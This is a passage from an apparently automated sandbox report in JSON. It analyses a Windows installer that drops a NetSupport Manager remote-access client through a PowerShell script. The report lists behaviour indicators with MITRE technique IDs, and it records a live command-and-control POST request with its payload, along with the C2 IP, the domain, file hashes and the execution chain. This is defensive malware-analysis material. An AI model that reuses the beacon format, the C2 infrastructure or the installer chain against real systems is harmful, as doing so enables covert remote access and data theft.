(Indicator: \"New-Guid\"; Source: \"00000000-00004600.00000000.119924.07170000.00000004.mdmp, 00000000-00004600.00000001.120699.07170000.00000004.mdmp\")\n Found string \"CommandLine= Add-Type -AssemblyName System.IO.Compression.FileSystem\" (Indicator: \"Add-Type\"; Source: \"00000000-00004600.00000001.120699.07170000.00000004.mdmp\")\n Found string \"Add-Type -AssemblyName System.IO.Compression\" (Indicator: \"Add-Type\"; Source: \"00000000-00004600.00000001.120699.08660000.00000004.mdmp\")\n Found string \"Add-Type -AssemblyName System.IO.Compression.FileSystem\" (Indicator: \"Add-Type\"; Source: \"00000000-00004600.00000001.120699.08660000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-396","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops a Windows setup information (INF) file","description":"\"nskbfltr.inf\" has type \"Unknown\"","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-55","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Installation/Persistence","name":"Potential hijacking of DLL execution flow detected","description":"\"AudioCapture.dll\" has type \"PE32 executable for MS Windows 5.00 (DLL) Intel i386 5 sections\"- Location: [%APPDATA%\\SystemUtil\\AudioCapture.dll]- [targetUID: 00000000-00004600]\n \"pcicapi.dll\" has type \"PE32 executable for MS Windows 5.01 (DLL) Intel i386 5 sections\"- Location: [%APPDATA%\\SystemUtil\\pcicapi.dll]- [targetUID: 00000000-00004600]","origin":"Binary File","mitre_attack_id":"T1574.001","relevance":5,"id":"binary-91","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Able to access Windows networking-related API (String)","description":"$a5","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-923","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00004600.00000001.120699.089B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":7,"id":"string-417","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"TCCTL32.DLL\")\n Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1205.002","relevance":1,"id":"string-879","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"$a6","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-899","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Data transmitted in plain text over an insecure network protocol/port","description":"HTTP traffic to 104.26.1.231 on port 80","origin":"Network Traffic","mitre_attack_id":"T1048.003","relevance":1,"id":"network-97","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection","description":"Wow64RevertWow64FsRedirection@KERNEL32.DLL at 00000000-00004852-9769-3719-01140644\n Wow64DisableWow64FsRedirection@KERNEL32.DLL at 00000000-00004852-9769-3721-01140608","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070","relevance":1,"id":"stream-78","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00004600.00000000.119924.005A0000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00004600.00000001.120699.089A0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"GetClipboardData\" (File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: client32.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: AudioCapture.dll]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: remcmdstub.exe]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: PCICL32.DLL]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: TCCTL32.DLL]\n Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: HTCTL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$a7","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$a8","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Attempts to read volume data via DOS device path","description":"$a9","origin":"API Call","mitre_attack_id":"T1006","relevance":1,"id":"api-306","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate objects (Powershell command string)","description":"Found string \"$pathsToProcess += Resolve-Path -LiteralPath $LiteralPath | Foreach-Object ProviderPath\" (Indicator: \"ForEach-Object\"; Source: \"00000000-00004600.00000000.119924.07170000.00000004.mdmp\")\n Found string \"$pathsToProcess += Resolve-Path $Path | Foreach-Object ProviderPath\" (Indicator: \"ForEach-Object\"; Source: \"00000000-00004600.00000000.119924.07170000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve specified item(s) (Powershell command string)","description":"Found string \"$dirContents = Get-ChildItem -LiteralPath $sourceDirPath -Recurse\" (Indicator: \"Get-ChildItem\"; Source: \"00000000-00004600.00000001.120699.08660000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-394","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00004600.00000000.119924.71971000.00000020.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00004600.00000001.120699.089B0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Able to access control system service controller","description":"Found string \"System.ServiceProcess.ServiceController\" (Source: \"00000000-00004600.00000001.120699.00C51000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-936","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueA\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\n Found registry deletion API: \"RegDeleteKeyA\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\n Found registry deletion API: \"RegDeleteValueW\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"\n Found registry deletion API: \"RegDeleteKeyW\" in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00004600.00000000.119924.71971000.00000020.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00004600.00000000.119924.71971000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$aa","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.OriginInfo }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$ab","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")\n \"backgroundTaskHost.exe\" (Indicator: \"backgroundtaskhost.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 4600)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"8/26 Antivirus vendors marked sample as malicious (30% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"LockResource@KERNEL32.DLL at 00000000-00004852-9769-3809-010B0EB4\n LoadResource@KERNEL32.DLL at 00000000-00004852-9769-3810-010B0E9C\n SizeofResource@KERNEL32.DLL at 00000000-00004852-9769-3811-010B0F1C\n FindResourceW@KERNEL32.DLL at 00000000-00004852-9769-3812-010B0CA4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"\"POST http://151.236.16.15/fakeurl.htm HTTP/1.1\nUser-Agent: NetSupport Manager/1.3\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 22\nHost: 151.236.16.15\nConnection: Keep-Alive\" with payload:==> \"CMD=POLLINFO=1ACK=1\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Spyware","details_count":2,"details":[{"detail":"POSTs data to a webserver"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Fingerprint","details_count":5,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Evasive","details_count":6,"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly tries to evade analysis by sleeping many times"},{"detail":"Executes WMI queries known to be used for VM detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Found a Wine emulator related string"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Network","details_count":1,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Attempts to access unusual system drive letters"}],"sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]}]},"activity":{"stats":{"process_count":4,"spawned_processes_count":4,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":85,"imported_dlls_count":177,"dropped_files_count":0,"extracted_files_count":27,"files_written_count":116,"files_deleted_count":0,"registry_keys_created_count":23,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":23,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":3,"contacted_urls_count":2,"http_requests_count":2},"behavior_tags":["evasive","malicious","windows-server-utility","suspicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"699ec5df79a602c04d0f8f22","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"QD:Trojan.GenericQ","contacted_countries":["USA"],"submit_name":"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe","analysis_start_time":"2026-02-25T09:50:28+00:00","indicators_count":{"informative":337,"suspicious":103,"malicious":8},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true},{"id":"685ae69ef0d92c28240679f4","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["EU","USA"],"submit_name":"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe","analysis_start_time":"2025-06-24T17:55:46+00:00","indicators_count":{"informative":297,"suspicious":84,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"151.236.16.15","port":443,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"address":"172.67.68.212","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"address":"104.26.1.231","port":80,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]}],"dns_resolutions":[{"domain":"geo.netsupportsoftware.com","address":"172.67.68.212","ttl":300,"country":"United States","registrar_name":"GANDI SAS","registrar_organization":"Netsupport Limited","registrar_name_servers":"NS30.NETSUPPORT.NET","registrar_creation_date":"2002-10-25T05:54:34+00:00","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"domain":"payiki.com","address":"151.236.16.15","ttl":7207,"country":"European Union","registrar_name":"NameSilo, LLC","registrar_organization":"PrivacyGuardian.org llc","registrar_name_servers":"NS3.DNSOWL.COM","registrar_creation_date":"2022-11-27T07:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"domain":"testmycdn.azureedge.net","country":"-","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Microsoft Corporation","registrar_name_servers":"prd2.azuredns-cloud.net","registrar_creation_date":"2014-01-22T08:14:52+00:00","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]}],"http_requests":[{"host":"151.236.16.15","host_ip":"151.236.16.15:443","url":"http://151.236.16.15/fakeurl.htm","method":"POST","response_code":"200","response_phrase":"OK","header":"POST http://151.236.16.15/fakeurl.htm HTTP/1.1\nUser-Agent: NetSupport Manager/1.3\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 22\nHost: 151.236.16.15\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"host":"geo.netsupportsoftware.com","host_ip":"172.67.68.212:80","url":"/location/loca.asp","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /location/loca.asp HTTP/1.1\nHost: geo.netsupportsoftware.com\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}],"processes":[{"pid":6300,"ppid":0,"name":"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe","command_line":"","sha256":"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c","normalized_path":"C:\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe","uid":"00000000-00006300","icon":"$ac"},{"pid":5220,"ppid":6300,"name":"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp","command_line":"/SL5=\"$12004E,18032967,815616,C:\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\"","sha256":"85c71bb847f0b29db1d790c631d586167942ffceae96605f5673438fe3c8dd1a","normalized_path":"%TEMP%\\is-2BB8I.tmp\\a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp","parent_uid":"00000000-00006300","uid":"00000000-00005220"},{"pid":7184,"ppid":5220,"name":"powershell.exe","command_line":"-ExecutionPolicy Bypass -File \"%TEMP%\\is-0DA6D.tmp\\ExtractedContent.ps1\"","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005220","uid":"00000000-00007184"},{"pid":1628,"ppid":7184,"name":"client32.exe","command_line":"","sha256":"aaa12a1ad8c748fbfd4c8f2e5023ec3481b18cb088b28737fc7e665163cff41d","normalized_path":"%APPDATA%\\SystemUtil\\client32.exe","parent_uid":"00000000-00007184","uid":"00000000-00001628"}],"all_imported_dlls":["gdi32full.dll","mscoree.dll","psapi.dll","System.Numerics.dll","Microsoft.KeyDistributionService.Cmdlets.ni.dll","sechost.dll","linkinfo.dll","iertutil.dll","msIso.dll","xmllite.dll","Microsoft.PowerShell.Commands.Utility.dll","sppc.dll","propsys.dll","gpapi.dll","nsi.dll","fwpolicyiomgr.dll","combase.dll","windows.storage.dll","profapi.dll","clr.dll","System.Transactions.dll","cryptnet.dll","dbgcore.dll","wbemprox.dll","cfgmgr32.dll","nlaapi.dll","FirewallAPI.dll","oleaut32.dll","ws2_32.dll","powrprof.dll","dwmapi.dll","bcrypt.dll","Windows.StateRepositoryPS.dll","mscorlib.ni.dll","rsaenh.dll","bcryptprimitives.dll","aepic.dll","ntshrui.dll","coml2.dll","amsi.dll","System.Configuration.ni.dll","AppxSip.dll","Microsoft.PowerShell.Commands.Management.dll","winrnr.dll","FWPUCLNT.DLL","wow64win.dll","kernel.appcore.dll","uxtheme.dll","MpClient.dll","wininet.dll","diasymreader.dll","devobj.dll","fastprox.dll","sspicli.dll","clbcatq.dll","cscapi.dll","vcruntime140_clr0400.dll","rasadhlp.dll","kernel32.dll","apphelp.dll","normaliz.dll","riched32.dll","ntdll.dll","msvcrt.dll","ucrtbase.dll","System.ni.dll","wldp.dll","msisip.dll","wshext.dll","fwbase.dll","advapi32.dll","ntmarta.dll","Microsoft.PowerShell.Security.dll","System.IO.Compression.dll","pcicapi.dll","usp10.dll","cryptbase.dll","mscoreei.dll","Microsoft.BitLocker.Structures.dll","riched20.dll","userenv.dll","PCICHEK.DLL","winmmbase.dll","mswsock.dll","dhcpcsvc.dll","comctl32.dll","SHCore.dll","setupapi.dll","msls31.dll","user32.dll","shlwapi.dll","winhttp.dll","winsta.dll","urlmon.dll","System.Configuration.Install.dll","System.Windows.Forms.dll","System.IO.Compression.FileSystem.dll","System.Data.dll","fltLib.dll","cryptsp.dll","version.dll","atl.dll","System.DirectoryServices.dll","IPHLPAPI.DLL","Wldap32.dll","imm32.dll","msctf.dll","WinTypes.dll","crypt32.dll","System.Xml.ni.dll","Microsoft.AppV.AppvClientComConsumer.dll","PCICL32.DLL","dbghelp.dll","OpcServices.dll","wsock32.dll","HTCTL32.DLL","NapiNSP.dll","dhcpcsvc6.dll","wbemsvc.dll","msvcp_win.dll","Microsoft.PowerShell.ConsoleHost.dll","System.Management.Automation.dll","dnsapi.dll","wow64.dll","KernelBase.dll","TextInputFramework.dll","Microsoft.Management.Infrastructure.Native.dll","OnDemandConnRouteHelper.dll","ole32.dll","sfc.dll","pwrshsip.dll","samcli.dll","shell32.dll","cldapi.dll","Microsoft.Management.Infrastructure.ni.dll","msvcr100.dll","pnrpnsp.dll","wow64cpu.dll","slc.dll","System.ServiceProcess.dll","winmm.dll","shfolder.dll","imagehlp.dll","ucrtbase_clr0400.dll","wintrust.dll","msasn1.dll","secur32.dll","wbemcomn.dll","win32u.dll","CoreUIComponents.dll","netutils.dll","clrjit.dll","System.Core.ni.dll","tiptsf.dll","comdlg32.dll","wtsapi32.dll","CoreMessaging.dll","ExplorerFrame.dll","Microsoft.KeyDistributionService.Cmdlets.dll","netapi32.dll","rpcrt4.dll","gdi32.dll","sfc_os.dll","edputil.dll","winnsi.dll","Microsoft.AppV.AppVClientPowerShell.dll","VxSSL32.dll","srvcli.dll","OneCoreUAPCommonProxyStub.dll","System.Management.dll","mpr.dll","MpOAV.dll","thumbcache.dll","Microsoft.Web.Administration.dll","Microsoft.IIS.Powershell.Commands.ni.dll","99447Osr.dll","WindowsCodecs.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"AudioCapture.dll","sha256":"a74612ae5234d1a8f1263545400668097f9eb6a01dfb8037bc61ca9cae82c5b8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"HTCTL32.DLL","sha256":"edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"PCICL32.DLL","sha256":"74dfcd891813058b29b0a70ec0a95f31cd5356f175ad3a492daecbc52542e76f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"TCCTL32.DLL","sha256":"23f17cc168cc82b8ae16f3fc041d4465e1b12e66dcac1713f582f99303a740dd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"client32.exe","sha256":"aaa12a1ad8c748fbfd4c8f2e5023ec3481b18cb088b28737fc7e665163cff41d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"pcicapi.dll","sha256":"9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"remcmdstub.exe","sha256":"73a522d9ffa9235fe2b6fd1059c551f8022437ec0eef62ebc07240158f84a2a6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"ExtractedContent.ps1","sha256":"7e80dde6044a5ae063e01d834953dea9ebf6f83f8ae43b2f407eafc17d6b33c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"Advanced IP Scanner for Windows.lnk","sha256":"cbe39deeda334771bf4938f8f01eb79d80ed936b06e00e63662930b4e7d4ef5b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"NSM.LIC","sha256":"6a7c99e4bd767433c25d6df8df81baa99c05dd24fa064e45c306ff4d954e1921","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"PCICHEK.DLL","sha256":"313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"client32.ini","sha256":"8e016ca1a0837ca5f7d87656fe4153ed8639d33adbee9b07a3d033db44eec2a7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"nsm_vpro.ini","sha256":"4bfa4c00414660ba44bddde5216a7f28aeccaa9e2d42df4bbff66db57c60522b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"name":"installPackage.zip","sha256":"d43244539e6f2d18177bd4aefa92d75f4dca197b82d01e9d5b6065d